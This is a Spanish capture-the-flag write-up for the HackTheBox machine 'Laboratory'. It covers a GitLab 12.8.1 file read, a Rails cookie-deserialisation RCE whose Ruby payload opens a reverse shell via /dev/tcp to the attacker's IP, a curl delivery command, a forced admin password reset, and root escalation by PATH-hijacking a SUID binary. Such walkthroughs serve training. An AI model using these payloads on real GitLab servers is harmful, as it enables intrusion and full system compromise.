Laboratory es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Laboratory 10.10.10.216 a /etc/hosts como laboratory.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Nmap 7.70 scan initiated Sun Dec 6 10:43:57 2020 as: nmap -sC -sV -oA enumeration/nmap 10.10.10.216 Nmap scan report for 10.10.10.216 Host is up (0.14s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to https://laboratory.htb/ 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: The Laboratory | ssl-cert: Subject: commonName=laboratory.htb | Subject Alternative Name: DNS:git.laboratory.htb | Not valid before: 2020-07-05T10:39:28 |_Not valid after: 2024-03-03T10:39:28 | tls-alpn: | http/1.1 Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 6 11:28:54 2020 -- 1 IP address (1 host up) scanned in 2696.77 seconds |
Observamos dos puertos pertenecientes a un servicio web, 80 y 443, así que comenzaremos la enumeración analizando los portales web mencionados.
Enumeracion
Accedemos al portal web en el puerto 80 y automáticamente nos redirecciona a https://laboratory.htb mostrando el siguiente portal:
Analizamos el portal pero no vemos nada relevante así que añadimos el subdominio descubierto a través de nmap y accedemos a la url git.laboratory.htb donde vemos el siguiente portal de login/register
Se trata de un portal de GitLab en su versión Community Edition aunque no disponemos de credenciales de acceso por lo que nos registramos en el portal y accedemos observando la siguiente pantalla de inicio:
Revisamos un poco el portal por encima y nos detenemos en la ayuda del mismo donde nos muestra la versión instalada actualmente y que nos ayudará a continuar en nuestra investigación:
Se trata de la versión 12.8.1 de GitLab CE, así que buscamos en google y encontramos una vulnerabilidad importante acerca de la lectura arbitraria de ficheros por lo que procederemos a explotar la misma.
La vulnerabilidad puede verse en el siguiente enlace: Gitlab Arbitrary file read
Siguiendo con la explicación del post, para verificar que es vulnerable necesitaremos realizar los siguientes pasos:
- Crear dos repositorios
- Crear un issue en uno de los repositorios
- Mover el issue al otro repositorio
Así que vamos a ello, crearemos en primer lugar los dos repositorios, en nuestro caso los hemos llamado test1 y test2
Posteriormente crearemos un issue en el repositorio test1 y le incluiremos el siguiente código en la descripción del mismo para obtener el fichero passwd:
|
1 |
 |
Una vez creada la issue, moveremos la misma al repositorio test2:
Y automáticamente el texto introducido se convertirá en un enlace al fichero passwd, el cual podremos descargar para visualizar el contenido del mismo:
A su vez, en el mismo post, se explica otra vulnerabilidad, en este caso la realización de un RCE (Remote Command Execution) la cual aprovecharemos para ejecutar una shell inversa en la máquina.
En este caso crearemos primero un issue para obtener el fichero secrets de la instalación de gitlab-rails utilizando el siguiente código en la descripción del issue:
|
1 |
 |
Y a continuación, necesitaremos generar las cookies con el código utilizado para obtener la shell inversa, así que en nuestro caso hemos levantado un contenedor en docker para la generación de nuestro entorno.
Así que generamos y accedemos a nuestro contenedor:
|
1 2 |
sudo docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0 sudo docker exec -ti bash |
Editamos el fichero secrets.yml con los datos obtenidos anteriormente:
|
1 |
vi /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml |
Y lanzamos la consola de rails con:
|
1 |
gitlab-rails console |
Ahora necesitaremos ejecutar los comandos indicados en el post para la generación de la cookie, en nuestro caso han sido dos. El primero nos generará un fichero en /tmp con el comando para la ejecución de la shell:
|
1 2 3 4 5 6 7 8 |
request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `echo 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1' > /tmp/shell.sh` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie] |
Y el segundo para la ejecución de nuestro script:
|
1 2 3 4 5 6 7 8 |
request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `bash /tmp/shell.sh` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie] |
Una vez generadas las dos cookies, las codificamos en url mediante la utilidad existente en la herramienta burp suite y las enviaremos mediante el siguiente comando de curl:
|
1 |
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=<your_cookie_here>" |
Y obtendremos automáticamente una shell en nuestra escucha con el usuario git:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from laboratory.htb [10.10.10.216] 41576 bash: cannot set terminal process group (394): Inappropriate ioctl for device bash: no job control in this shell git@git:~/gitlab-rails/working$ id id uid=998(git) gid=998(git) groups=998(git) git@git:~/gitlab-rails/working$ whoami whoami git git@git:~/gitlab-rails/working$ |
Ahora que ya tenemos acceso y, como descubrimos anteriormente los usuarios existentes en el fichero passwd, abriremos la consola de rails:
|
1 2 3 4 5 6 7 8 9 |
git@git:~/gitlab-rails/working$ gitlab-rails console gitlab-rails console -------------------------------------------------------------------------------- GitLab: 12.8.1 (d18b43a5f5a) FOSS GitLab Shell: 11.0.0 PostgreSQL: 10.12 -------------------------------------------------------------------------------- Loading production environment (Rails 6.0.2) Switch to inspect mode. |
Y modificaremos la password del usuario dexter para acceder a su cuenta a través del portal:
|
1 2 3 4 5 6 7 8 9 |
user = User.where(id: 1).first #<User id:1 @dexter> user.password = 'password' "password" user.password_confirmation = 'password' "password" user.save! Enqueued ActionMailer::DeliveryJob (Job ID: 4bf81074-0f8a-4101-ae1c-4c7cdd392f49) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007f20c6287268 @uri=#<URI::GID gid://gitlab/User/1>> true |
Ahora accedemos al portal con la contraseña que indicamos y vemos dos repositorios, SecureWebsite y SecureDocker:
Revisamos los mismos y encontramos la clave ssh del usuario dexter en el repositorio SecureDocker:
Con la clave obtenida sólo nos queda loguearnos con dicho usuario.
Obteniendo la flag de user
Accedemos con el usuario dexter y la clave ssh obtenida y obtenemos la flag de user en la home del usuario:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
ssh -i /tmp/dexter dexter@laboratory.htb The authenticity of host 'laboratory.htb (10.10.10.216)' can't be established. ECDSA key fingerprint is SHA256:XexmI3GbFIB7qyVRFDIYvKcLfMA9pcV9LeIgJO5KQaA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'laboratory.htb' (ECDSA) to the list of known hosts. dexter@laboratory:~$ id uid=1000(dexter) gid=1000(dexter) groups=1000(dexter) dexter@laboratory:~$ ls -l total 4 -r--r----- 1 root dexter 33 Dec 8 17:07 user.txt dexter@laboratory:~$ cat user.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6 dexter@laboratory:~$ |
Escalado de privilegios
Ahora que ya tenemos la flag de user y un usuario con algunos permisos más, subiremos el script de LinPEAS al servidor para analizar el mismo y enumerarlo, descubriendo un fichero con permisos SUID muy interesante:
|
1 2 |
[+] SUID - Check easy privesc, exploits and write perms -rwsr-xr-x 1 root dexter 17K Aug 28 14:52 /usr/local/bin/docker-security |
Analizamos el mismo con ltrace y descubirmos una vulnerabilidad en el mismo:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
dexter@laboratory:/tmp$ ltrace /usr/local/bin/docker-security setuid(0) = -1 setgid(0) = -1 system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 256 system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 256 +++ exited (status 0) +++ |
Se trata de una vulnerabilidad de path hijaking y esta se debe a que está llamando al fichero chmod pero sin especificar el path absoluto del mismo, por lo que puede sernos de mucha utilidad para conseguir escalar privilegios ya que el binario de docker-security se ejecuta con el usuario root.
Así que crearemos un fichero temporal donde añadiremos nuestro fichero chmod y le daremos permisos de ejecución:
|
1 2 3 |
cd $(mktemp -d) echo "bash" > chmod chmod 777 ./chmod |
Una vez hecho, lo añadiremos a la variable PATH:
|
1 |
PATH=$(pwd):$PATH docker-security |
Y completaremos el escalado a root:
|
1 2 3 4 5 6 7 8 |
dexter@laboratory:/tmp$ cd $(mktemp -d) dexter@laboratory:/tmp/tmp.XADPJ1qBHE$ echo "bash" > chmod dexter@laboratory:/tmp/tmp.XADPJ1qBHE$ chmod 777 chmod dexter@laboratory:/tmp/tmp.XADPJ1qBHE$ PATH=$(pwd):$PATH docker-security root@laboratory:/tmp/tmp.XADPJ1qBHE# id uid=0(root) gid=0(root) groups=0(root),1000(dexter) root@laboratory:/tmp/tmp.XADPJ1qBHE# whoami root |
Obteniendo la flag de root
Ahora que somos root, sólo nos queda ir a la home del mismo para conseguir nuestra flag:
|
1 2 3 4 5 6 7 |
root@laboratory:/tmp/tmp.XADPJ1qBHE# cd /root root@laboratory:/root# ls -l total 4 -rw------- 1 root root 33 Dec 8 17:07 root.txt root@laboratory:/root# cat root.txt 0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx4 root@laboratory:/root# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
